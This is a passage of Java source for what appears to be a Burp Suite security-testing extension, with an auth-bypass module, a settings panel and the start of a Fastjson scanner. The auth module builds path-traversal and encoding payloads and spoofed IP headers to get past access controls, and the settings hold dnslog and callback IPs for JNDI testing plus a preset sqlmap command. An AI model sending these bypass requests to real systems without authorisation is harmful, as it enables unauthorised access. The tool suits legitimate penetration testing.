javax.swing.*; import javax.swing.table.AbstractTableModel; import javax.swing.table.TableColumnModel; import javax.swing.table.TableModel; import java.awt.*; import java.awt.event.ActionEvent; import java.net.MalformedURLException; import java.net.URL; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import java.util.Objects; import java.util.concurrent.locks.Lock; import java.util.concurrent.locks.ReentrantLock; /** * @Author Xm17 * @Date 2024-06-22 8:46 */ public class AuthUI implements UIHandler, IMessageEditorController { private JPanel panel; // 主面板 private static JTable authTable; // auth表格 private JButton btnClear; // 清空按钮 private JTextField ipInputField; // ip输入框 private JButton saveBtn; // ip确认按钮 private JTabbedPane authtabbedPanereq; // 请求tab private JTabbedPane authtabbedPaneresp; // 响应tab private IHttpRequestResponse currentlyDisplayedItem; // 当前显示的请求 private IMessageEditor HRequestTextEditor; // 请求编辑器 private IMessageEditor HResponseTextEditor; // 响应编辑器 private static final List authlog = new ArrayList<>(); //authlog 列表 private static final List urlHashList = new ArrayList<>(); // url hash列表 private static final Lock lock = new ReentrantLock(); private static String LOCAL_IP = "127.0.0.1"; @Override public IHttpService getHttpService() { return currentlyDisplayedItem.getHttpService(); } @Override public byte[] getRequest() { return currentlyDisplayedItem.getRequest(); } @Override public byte[] getResponse() { return currentlyDisplayedItem.getResponse(); } @Override public void init() { setupUI(); setupData(); } // 初始化数据 private void setupData() { btnClear.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { // 清空urltable authlog.clear(); HRequestTextEditor.setMessage(new byte[0], true); HResponseTextEditor.setMessage(new byte[0], false); urlHashList.clear(); authTable.updateUI(); } }); saveBtn.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { if (!ipInputField.getText().equals(LOCAL_IP)) { LOCAL_IP = ipInputField.getText(); }else { LOCAL_IP = "127.0.0.1"; } } }); } // 初始化ui private void setupUI() { panel = new JPanel(); panel.setLayout(new BorderLayout()); // 添加FlowLayout布局,将清空按钮添加 JPanel topPanel = new JPanel(new FlowLayout(FlowLayout.LEFT)); btnClear = new JButton(I18nUtils.get("auth.button.clear")); topPanel.add(btnClear); JLabel ipLabel = new JLabel(I18nUtils.get("auth.label.ip")); topPanel.add(ipLabel); ipInputField = new JTextField("127.0.0.1"); topPanel.add(ipInputField); saveBtn = new JButton(I18nUtils.get("auth.button.save")); topPanel.add(saveBtn); panel.add(topPanel, BorderLayout.NORTH); // 上下分割面板,比例是7:3 JSplitPane mainsplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); mainsplitPane.setResizeWeight(0.7); mainsplitPane.setDividerLocation(0.7); // 添加URLTable到mainsplitPane的上边 authTable = new URLTable(new AuthModel()); authTable.setAutoCreateRowSorter(true); JScrollPane scrollPane = new JScrollPane(authTable); mainsplitPane.setTopComponent(scrollPane); // 左右分割面板,对称分割 JSplitPane splitPaneDown = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); splitPaneDown.setResizeWeight(0.5); splitPaneDown.setDividerLocation(0.5); // 添加请求响应到左右分割面板 authtabbedPanereq = new JTabbedPane(); HRequestTextEditor = Utils.callbacks.createMessageEditor(AuthUI.this, true); authtabbedPanereq.addTab("Request", HRequestTextEditor.getComponent()); authtabbedPaneresp = new JTabbedPane(); HResponseTextEditor = Utils.callbacks.createMessageEditor(AuthUI.this, false); authtabbedPaneresp.addTab("Response", HResponseTextEditor.getComponent()); splitPaneDown.setLeftComponent(authtabbedPanereq); splitPaneDown.setRightComponent(authtabbedPaneresp); // 添加splitPaneDown到mainsplitPane的下边 mainsplitPane.setBottomComponent(splitPaneDown); panel.add(mainsplitPane, BorderLayout.CENTER); } @Override public JPanel getPanel(IBurpExtenderCallbacks callbacks) { return panel; } @Override public String getTabName() { return "BypassAuth"; } // auth核心检测方法 public static void Check(IHttpRequestResponse[] requestResponses) { lock.lock(); try { IHttpRequestResponse baseRequestResponse = requestResponses[0]; IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); String method = analyzeRequest.getMethod(); String path = analyzeRequest.getUrl().getPath(); String request = Utils.helpers.bytesToString(baseRequestResponse.getRequest()); List paraLists = analyzeRequest.getParameters(); URL rdurlURL = analyzeRequest.getUrl(); String url = analyzeRequest.getUrl().toString(); byte[] byte_Request = baseRequestResponse.getRequest(); int len = byte_Request.length; byte[] body = Arrays.copyOfRange(byte_Request, analyzeRequest.getBodyOffset(), len); // url 中匹配为静态资源 if (Utils.isUrlBlackListSuffix(url)) { return; } List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); String urlWithoutQuery = ""; try { URL url1 = new URL(url); String protocol = url1.getProtocol(); String host = url1.getHost(); int port = url1.getPort(); urlWithoutQuery = protocol + "://" + host + ":" + port; } catch (MalformedURLException e) { throw new RuntimeException(e); } List authRequests = new ArrayList<>(); authRequests.addAll(prefix(method, path)); authRequests.addAll(suffix(method, path)); if (Objects.equals(method, "GET") || Objects.equals(method, "POST")) { for (AuthBean value : authRequests) { if (Objects.equals(value.getMethod(), "GET")) { String new_request = request.replaceFirst(path, value.getPath()); IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), Utils.helpers.stringToBytes(new_request)); String requrl = urlWithoutQuery + value.getPath(); String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode()); String length = String.valueOf(response.getResponse().length); add(method, requrl, statusCode, length, response); } else if (Objects.equals(value.getMethod(), "POST")) { String new_request = request.replaceFirst(path, value.getPath()); IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), Utils.helpers.stringToBytes(new_request)); String requrl = urlWithoutQuery + value.getPath(); String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode()); String length = String.valueOf(response.getResponse().length); add(method, requrl, statusCode, length, response); } } // 测试伪造ip List testHeaders = forgeHeaders(method, url); for (AuthBean header : testHeaders) { headers.add(header.getHeaders()); } byte[] message = Utils.helpers.buildHttpMessage(headers, body); IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), message); String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode()); String length = String.valueOf(response.getResponse().length); add(method, url, statusCode, length, response); for (AuthBean header : testHeaders) { headers.remove(header.getHeaders()); } // 单独测试实战绕过案例 changeAccept(headers, body, method, url, baseRequestResponse); } } finally { lock.unlock(); } } // 添加数据到表格 private static void add(String method, String url, String statuscode, String length, IHttpRequestResponse baseRequestResponse) { synchronized (authlog) { int id = authlog.size(); authlog.add(new AuthEntry(id, method, url, statuscode, length, baseRequestResponse)); authTable.updateUI(); } } // 添加后缀 public static List suffix(String method, String path) { if (path.startsWith("//")) { path = "/" + path.substring(2).replaceAll("/+", "/"); } List authRequests = new ArrayList<>(); if (path.endsWith("/")) { path = path.substring(0, path.length() - 1); List payloads = Arrays.asList(path + "%2e/", path + "/.", "./" + path + "/./", path + "%20/", "/%20" + path + "%20/", path + "..;/", path + "?", path + "??", "/" + path + "//", path + "/", path + "/.randomstring"); for (String payload : payloads) { if ("GET".equals(method)) { authRequests.add(new AuthBean("GET", payload, "")); } else if ("POST".equals(method)) { authRequests.add(new AuthBean("POST", payload, "")); } } } else { List payloads = Arrays.asList(path + "/%2e", path + "/%20", path + "%0d%0a", path + ".json", path + "/.randomstring"); for (String payload : payloads) { if ("GET".equals(method)) { authRequests.add(new AuthBean("GET", payload, "")); } else if ("POST".equals(method)) { authRequests.add(new AuthBean("POST", payload, "")); } } } return authRequests; } // 添加前缀 public static List prefix(String method, String path) { if (path.startsWith("//")) { path = "/" + path.substring(2).replaceAll("/+", "/"); } List authRequests = new ArrayList<>(); String[] prefix = {";/", ".;/", "images/..;/", ";a/", "%23/../", "..;/..;/"}; for (String s : prefix) { // 将路径按 / 分割为多个部分 String[] pathParts = path.split("/"); for (int i = 1; i < pathParts.length; i++) { // 输出从第二个部分到最后一个部分 String[] subPathParts = Arrays.copyOfRange(pathParts, i, pathParts.length); String[] prePathParts = Arrays.copyOfRange(pathParts, 1, i); if (prePathParts.length > 0) { if ("GET".equals(method)) { authRequests.add(new AuthBean("GET", "/" + String.join("/", prePathParts) + "/" + s + String.join("/", subPathParts), "")); } else if ("POST".equals(method)) { authRequests.add(new AuthBean("POST", "/" + String.join("/", prePathParts) + "/" + s + String.join("/", subPathParts), "")); } } else { if ("GET".equals(method)) { authRequests.add(new AuthBean("GET", "/" + s + String.join("/", subPathParts), "")); } else if ("POST".equals(method)) { authRequests.add(new AuthBean("POST", "/" + s + String.join("/", subPathParts), "")); } } } } return authRequests; } // 添加头部 public static List forgeHeaders(String method, String url) { List authRequests = new ArrayList<>(); List payloads = Arrays.asList( "X-Forwarded-For: %s", "X-Originating-IP: %s", "X-Remote-IP: %s", "X-Remote-Addr: %s" ); // 对payloads进行替换 payloads.replaceAll(s -> String.format(s, LOCAL_IP)); for (String payload : payloads) { if ("GET".equals(method)) { authRequests.add(new AuthBean("GET", "", payload)); } else if ("POST".equals(method)) { authRequests.add(new AuthBean("POST", "", payload)); } } return authRequests; } // 添加accept // https://mp.weixin.qq.com/s/6YMDu6FTLa_9s6_mewrp0A public static void changeAccept(List headers, byte[] body, String method, String url, IHttpRequestResponse baseRequestResponse) { // 判断headers立马是否有Accept,如果有则删除 headers.removeIf(header -> header.startsWith("Accept:")); headers.add("Accept: application/json, text/javascript, /; q=0.01"); byte[] message = Utils.helpers.buildHttpMessage(headers, body); IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), message); // 发送请求 String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode()); String length = String.valueOf(response.getResponse().length); add(method, url, statusCode, length, response); } // auth实体 private static class AuthEntry { private final int id; private final String method; private final String url; private final String status; private final String length; private final IHttpRequestResponse requestResponse; public AuthEntry(int id, String method, String url, String status, String length, IHttpRequestResponse requestResponse) { this.id = id; this.method = method; this.url = url; this.status = status; this.length = length; this.requestResponse = requestResponse; } } // auth 模型 private static class AuthModel extends AbstractTableModel { @Override public int getRowCount() { return authlog.size(); } @Override public int getColumnCount() { return 5; } @Override public Object getValueAt(int rowIndex, int columnIndex) { switch (columnIndex) { case 0: return authlog.get(rowIndex).id; case 1: return authlog.get(rowIndex).method; case 2: return authlog.get(rowIndex).url; case 3: return authlog.get(rowIndex).status; case 4: return authlog.get(rowIndex).length; default: return null; } } @Override public String getColumnName(int column) { switch (column) { case 0: return "id"; case 1: return "method"; case 2: return "url"; case 3: return "status"; case 4: return "length"; default: return null; } } } // auth 表格 private class URLTable extends JTable { public URLTable(TableModel dm) { super(dm); TableColumnModel columnModel = getColumnModel(); columnModel.getColumn(0).setMaxWidth(50); columnModel.getColumn(4).setMaxWidth(50); } @Override public void changeSelection(int row, int col, boolean toggle, boolean extend) { AuthEntry logEntry = authlog.get(row); HRequestTextEditor.setMessage(logEntry.requestResponse.getRequest(), true); if (logEntry.requestResponse.getResponse() == null) { HResponseTextEditor.setMessage(new byte[0], false); } else { HResponseTextEditor.setMessage(logEntry.requestResponse.getResponse(), false); } currentlyDisplayedItem = logEntry.requestResponse; super.changeSelection(row, col, toggle, extend); } } } ================================================ FILE: src/main/java/burp/ui/ConfigUI.java ================================================ package burp.ui; import burp.IBurpExtenderCallbacks; import burp.bean.ConfigBean; import burp.utils.I18nUtils; import burp.utils.UrlCacheUtil; import burp.utils.Utils; import com.intellij.uiDesigner.core.GridConstraints; import com.intellij.uiDesigner.core.GridLayoutManager; import com.intellij.uiDesigner.core.Spacer; import javax.swing.*; import javax.swing.table.AbstractTableModel; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.util.ArrayList; import java.util.List; import static burp.dao.ConfigDao.*; public class ConfigUI implements UIHandler { private static final List data = new ArrayList<>(); public AbstractTableModel dataModel = new ConfigModel(); private JPanel panel; private JPanel configPanel; private JLabel dnslogLabel; private JTextField dnslogTextField; private JLabel ipLabel; private JTextField ipTextField; private JLabel toolNameLabel; private JTextField toolNameTextField; private JButton toolButton; private JTextField toolArgvTextField; private JButton ipButton; private JButton dnslogButton; private JLabel toolArgvLabel; private JButton refershButton; private JButton deleteSelectButton; private JButton clearCacheButton; private JButton resetUrl; private JTable configTable; private JScrollPane configPanelDownJscrollPanel; private JPanel configPanelTop; private JPanel configPanelDown; private JLabel languageLabel; private JComboBox languageComboBox; private void setupUI() { // 创建主面板 panel = new JPanel(); panel.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1)); // 创建配置面板 configPanel = new JPanel(); configPanel.setLayout(new BorderLayout(0, 0)); panel.add(configPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); // 配置顶部面板 configPanelTop = new JPanel(); configPanelTop.setLayout(new GridLayoutManager(5, 9, new Insets(10, 10, 10, 10), 5, 5)); // 增加间距,添加语言选择行 configPanel.add(configPanelTop, BorderLayout.NORTH); // 语言选择行 languageLabel = new JLabel(); languageLabel.setText(I18nUtils.get("common.label.language")); configPanelTop.add(languageLabel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); languageComboBox = new JComboBox<>(new String[]{"English", "中文"}); languageComboBox.setSelectedItem(I18nUtils.isChinese() ? "中文" : "English"); configPanelTop.add(languageComboBox, new GridConstraints(0, 1, 1, 3, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(250, -1), null, 0, false)); // DNS日志配置行 dnslogLabel = new JLabel(); dnslogLabel.setText(I18nUtils.get("config.label.dnslog")); configPanelTop.add(dnslogLabel, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); dnslogTextField = new JTextField(); configPanelTop.add(dnslogTextField, new GridConstraints(1, 1, 1, 3, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(250, -1), null, 0, false)); dnslogButton = new JButton(); dnslogButton.setText(I18nUtils.get("config.button.save")); configPanelTop.add(dnslogButton, new GridConstraints(1, 4, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); // IP配置行 ipLabel = new JLabel(); ipLabel.setText(I18nUtils.get("config.label.ip")); configPanelTop.add(ipLabel, new GridConstraints(2, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); ipTextField = new JTextField(); configPanelTop.add(ipTextField, new GridConstraints(2, 1, 1, 3, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(250, -1), null, 0, false)); ipButton = new JButton(); ipButton.setText(I18nUtils.get("config.button.save")); configPanelTop.add(ipButton, new GridConstraints(2, 4, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); // 工具配置行 toolNameLabel = new JLabel(); toolNameLabel.setText(I18nUtils.get("config.label.tool_name")); configPanelTop.add(toolNameLabel, new GridConstraints(3, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); toolNameTextField = new JTextField(); configPanelTop.add(toolNameTextField, new GridConstraints(3, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); toolArgvLabel = new JLabel(); toolArgvLabel.setText(I18nUtils.get("config.label.tool_args")); configPanelTop.add(toolArgvLabel, new GridConstraints(3, 2, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); toolArgvTextField = new JTextField(); configPanelTop.add(toolArgvTextField, new GridConstraints(3, 3, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(250, -1), null, 0, false)); toolButton = new JButton(); toolButton.setText(I18nUtils.get("config.button.save")); configPanelTop.add(toolButton, new GridConstraints(3, 4, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); // 按钮行 JPanel buttonPanel = new JPanel(); buttonPanel.setLayout(new FlowLayout(FlowLayout.LEFT, 10, 5)); // 使用FlowLayout,左对齐,间距10 configPanelTop.add(buttonPanel, new GridConstraints(4, 0, 1, 9, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); refershButton = new JButton(); refershButton.setText(I18nUtils.get("config.button.refresh")); buttonPanel.add(refershButton); deleteSelectButton = new JButton(); deleteSelectButton.setText(I18nUtils.get("config.button.delete")); buttonPanel.add(deleteSelectButton); clearCacheButton = new JButton(); clearCacheButton.setText(I18nUtils.get("config.button.clear_cache")); buttonPanel.add(clearCacheButton); // 新增按钮 resetUrl = new JButton(I18nUtils.get("config.button.reset")); buttonPanel.add(resetUrl); // 配置下部面板(表格) configPanelDown = new JPanel(); configPanelDown.setLayout(new GridLayoutManager(1, 1, new Insets(10, 10, 10, 10), -1, -1)); configPanel.add(configPanelDown, BorderLayout.CENTER); configPanelDownJscrollPanel = new JScrollPane(); configPanelDown.add(configPanelDownJscrollPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, null, null, null, 0, false)); configTable = new JTable(dataModel); configTable.setRowHeight(25); // 设置表格行高 configTable.setFillsViewportHeight(true); // 表格填充视窗 configPanelDownJscrollPanel.setViewportView(configTable); } private void setupData() { ConfigBean dnsconfig = getConfig("config", "dnslog"); dnslogTextField.setText(dnsconfig.getValue()); ConfigBean ipconfig = getConfig("config", "ip"); ipTextField.setText(ipconfig.getValue()); toolNameTextField.setText("sqlmap"); toolArgvTextField.setText("python sqlmap.py -r {request} -u {url} -h {host}"); List toolParam = getToolConfig(); for (ConfigBean config : toolParam) { addData(config.getType(), config.getValue()); } refershButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { List toolParam = getToolConfig(); data.clear(); for (ConfigBean config : toolParam) { addData(config.getType(), config.getValue()); } dataModel.fireTableDataChanged(); } }); deleteSelectButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { int[] selectedRows = configTable.getSelectedRows(); for (int i = selectedRows.length - 1; i >= 0; i--) { int selectedRow = selectedRows[i]; String type = (String) configTable.getValueAt(selectedRow, 1); deleteToolConfig(type); data.remove(selectedRow); dataModel.fireTableRowsDeleted(selectedRow, selectedRow); dataModel.fireTableDataChanged(); } } }); clearCacheButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { // mark // 弹出提示框 boolean deleteReqFile = Utils.deleteReqFile(); if (deleteReqFile){ JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.delete_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE); }else { JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.delete_failed"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE); } } }); dnslogButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { String module = "config"; String dns = dnslogTextField.getText(); ConfigBean config = new ConfigBean(module, "dnslog", dns); saveConfig(config); FastjsonUI.dnslog = dns; Log4jUI.dns = dns; // 弹窗提示 JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.save_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE); } }); ipButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { String module = "config"; String ip = ipTextField.getText(); ConfigBean config = new ConfigBean(module, "ip", ip); saveConfig(config); FastjsonUI.ip = ip; Log4jUI.ip = ip; JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.save_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE); } }); toolButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { String module = "tool"; String type = toolNameTextField.getText(); String value = toolArgvTextField.getText(); ConfigBean config = new ConfigBean(module, type, value); saveConfig(config); addData(type, value); JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.save_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE); } }); resetUrl.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { UrlCacheUtil.resetAllCaches(); RouteUI.resetAllCaches(); PermUI.resetAllCaches(); Log4jUI.resetAllCaches(); FastjsonUI.resetAllCaches(); SqlUI.resetAllCaches(); JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.reset_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE); } }); // 语言选择监听器 languageComboBox.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { String selectedLanguage = (String) languageComboBox.getSelectedItem(); boolean isChinese = selectedLanguage.equals("中文"); I18nUtils.setChinese(isChinese); // 保存语言设置到配置 String module = "config"; String key = "language"; String value = isChinese ? "zh" : "en"; ConfigBean config = new ConfigBean(module, key, value); saveConfig(config); // 提示用户重启插件以应用语言更改 JOptionPane.showMessageDialog(null, I18nUtils.get("common.message.language_change"), I18nUtils.get("common.title.info"), JOptionPane.INFORMATION_MESSAGE); } }); } // 添加数据 public void addData(String key, String value) { synchronized (data) { data.add(new LogEntry(data.size() + 1, key, value)); dataModel.fireTableDataChanged(); dataModel.fireTableRowsInserted(data.size() - 1, data.size() - 1); } } @Override public void init() { setupUI(); setupData(); } @Override public JPanel getPanel(IBurpExtenderCallbacks callbacks) { return panel; } @Override public String getTabName() { return "Setting"; } // 表格模型 static class ConfigModel extends AbstractTableModel { @Override public int getRowCount() { return data.size(); } @Override public int getColumnCount() { return 3; } @Override public Object getValueAt(int rowIndex, int columnIndex) { LogEntry dataEntry = data.get(rowIndex); switch (columnIndex) { case 0: return dataEntry.id; case 1: return dataEntry.key; case 2: return dataEntry.value; default: return null; } } @Override public String getColumnName(int column) { switch (column) { case 0: return "id"; case 1: return "key"; case 2: return "value"; default: return null; } } } // 表格实体类 public static class LogEntry { private final String key; private final String value; private int id; public LogEntry(int id, String key, String value) { this.id = id; this.key = key; this.value = value; } public LogEntry(String key, String value) { this.key = key; this.value = value; } } } ================================================ FILE: src/main/java/burp/ui/FastjsonUI.java ================================================ package burp.ui; import burp.*; import burp.bean.FastjsonBean; import burp.utils.CustomScanIssue; import burp.utils.I18nUtils; import burp.utils.JsonUtils; import burp.utils.UrlCacheUtil; import burp.utils.Utils; import javax.swing.*; import javax.swing.table.AbstractTableModel; import javax.swing.table.DefaultTableCellRenderer; import javax.swing.table.TableColumnModel; import javax.swing.table.TableModel; import java.awt.*; import java.awt.event.ActionEvent; import java.net.MalformedURLException; import java.net.URL; import java.util.ArrayList; import java.util.Iterator; import java.util.List; import java.util.Objects; import java.util.concurrent.locks.Lock; import java.util.concurrent.locks.ReentrantLock; import static burp.dao.ConfigDao.getConfig; import static burp.dao.FastjsonDao.getFastjsonListsByType; /** * @Author Xm17 * @Date 2024-06-22 12:13 */ public class FastjsonUI implements UIHandler, IMessageEditorController , IHttpListener{ private JPanel panel; // 主面板 private JTabbedPane fastjsonreq; // 请求面板 private JTabbedPane fastjsonresp; // 响应面板 private JButton btnClear; // 清空按钮 private JButton btnRefresh; // 添加刷新按钮 private static volatile boolean autoRefresh = true; // 控制是否自动刷新 private static final Object refreshLock = new Object(); private JCheckBox autoRefreshCheckBox; // 自动刷新开关 private static JTable fastjsonTable; // fastjson表格 private IHttpRequestResponse currentlyDisplayedItem; // 当前显示的请求 private JCheckBox passiveScanCheckBox; // 添加被动扫描复选框 private IMessageEditor HRequestTextEditor; // 请求编辑器 private IMessageEditor HResponseTextEditor; // 响应编辑器 private static final List fastjsonlog = new ArrayList<>(); // fastjson日志 public static String dnslog; // dnslog地址 public static String ip; // ip地址 private static List jndiPayloads = new ArrayList<>(); // jndi payloads private static List versionPayloads = new ArrayList<>(); // jndi payloads private static List dnsPayloads = new ArrayList<>(); // jndi payloads private static List echoPayloads = new ArrayList<>(); // jndi payloads private static final Lock lock = new ReentrantLock(); private boolean isPassiveScanEnabled = false; // 控制被动扫描状态 public static void resetAllCaches() { UrlCacheUtil.resetCache("fastjson"); } @Override public IHttpService getHttpService() { return currentlyDisplayedItem.getHttpService(); } @Override public byte[] getRequest() { return currentlyDisplayedItem.getRequest(); } @Override public byte[] getResponse() { return currentlyDisplayedItem.getResponse(); } @Override public void init() { dnslog = getConfig("config", "dnslog").getValue(); ip = getConfig("config", "ip").getValue(); jndiPayloads = getFastjsonListsByType("jndi"); versionPayloads = getFastjsonListsByType("version"); dnsPayloads = getFastjsonListsByType("dns"); echoPayloads = getFastjsonListsByType("echo"); setupUI(); setupData(); // 注册HTTP监听器 Utils.callbacks.registerHttpListener(this); } // 初始化数据 private void setupData() { // 清空按钮事件 btnClear.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { fastjsonlog.clear(); UrlCacheUtil.resetCache("fastjson"); // 清空URL缓存 HRequestTextEditor.setMessage(new byte[0], true); HResponseTextEditor.setMessage(new byte[0], false); refreshTable(); } }); // 刷新按钮事件 btnRefresh.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { refreshTable(); } }); // 自动刷新开关事件 autoRefreshCheckBox.addActionListener(e -> { setAutoRefresh(autoRefreshCheckBox.isSelected()); if(autoRefreshCheckBox.isSelected()) { refreshTable(); // 当开启自动刷新时,立即进行一次刷新 } }); // 添加被动扫描复选框事件监听 passiveScanCheckBox.addActionListener(e -> { isPassiveScanEnabled = passiveScanCheckBox.isSelected(); }); } // 刷新表格方法 private static void refreshTable() { SwingUtilities.invokeLater(() -> { if(fastjsonTable != null) { ((AbstractTableModel)fastjsonTable.getModel()).fireTableDataChanged(); } }); } // 初始化UI private void setupUI() { panel = new JPanel(); panel.setLayout(new BorderLayout()); // 顶部面板添加清空按钮和被动扫描复选框 JPanel topPanel = new JPanel(new FlowLayout(FlowLayout.LEFT)); btnClear = new JButton(I18nUtils.get("fastjson.button.clear")); passiveScanCheckBox = new JCheckBox(I18nUtils.get("fastjson.checkbox.passive_scan")); btnRefresh = new JButton(I18nUtils.get("fastjson.button.refresh")); autoRefreshCheckBox = new JCheckBox(I18nUtils.get("fastjson.checkbox.auto_refresh")); autoRefreshCheckBox.setSelected(true); // 默认开启自动刷新 topPanel.add(btnClear); topPanel.add(btnRefresh); topPanel.add(autoRefreshCheckBox); topPanel.add(passiveScanCheckBox); panel.add(topPanel, BorderLayout.NORTH); // 上下分割面板,比例是7:3 JSplitPane mainsplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); mainsplitPane.setResizeWeight(0.7); mainsplitPane.setDividerLocation(0.7); // 添加URLTable到mainsplitPane的上边 fastjsonTable = new URLTable(new FastjsonModel()); JScrollPane scrollPane = new JScrollPane(fastjsonTable); mainsplitPane.setTopComponent(scrollPane); // 创建一个自定义的单元格渲染器 DefaultTableCellRenderer renderer = new DefaultTableCellRenderer() { @Override public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) { JLabel label = (JLabel) super.getTableCellRendererComponent(table, value, isSelected, hasFocus, row, column); label.setHorizontalAlignment(JLabel.CENTER); label.setHorizontalTextPosition(JLabel.CENTER); label.setIconTextGap(0); label.setMaximumSize(new Dimension(Integer.MAX_VALUE, label.getPreferredSize().height)); label.setToolTipText((String) value); // 设置鼠标悬停时显示的提示文本 return label; } }; fastjsonTable.getColumnModel().getColumn(5).setCellRenderer(renderer); // 左右分割面板,对称分割 JSplitPane splitPaneDown = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); splitPaneDown.setResizeWeight(0.5); splitPaneDown.setDividerLocation(0.5); // 添加请求响应到左右分割面板 fastjsonreq 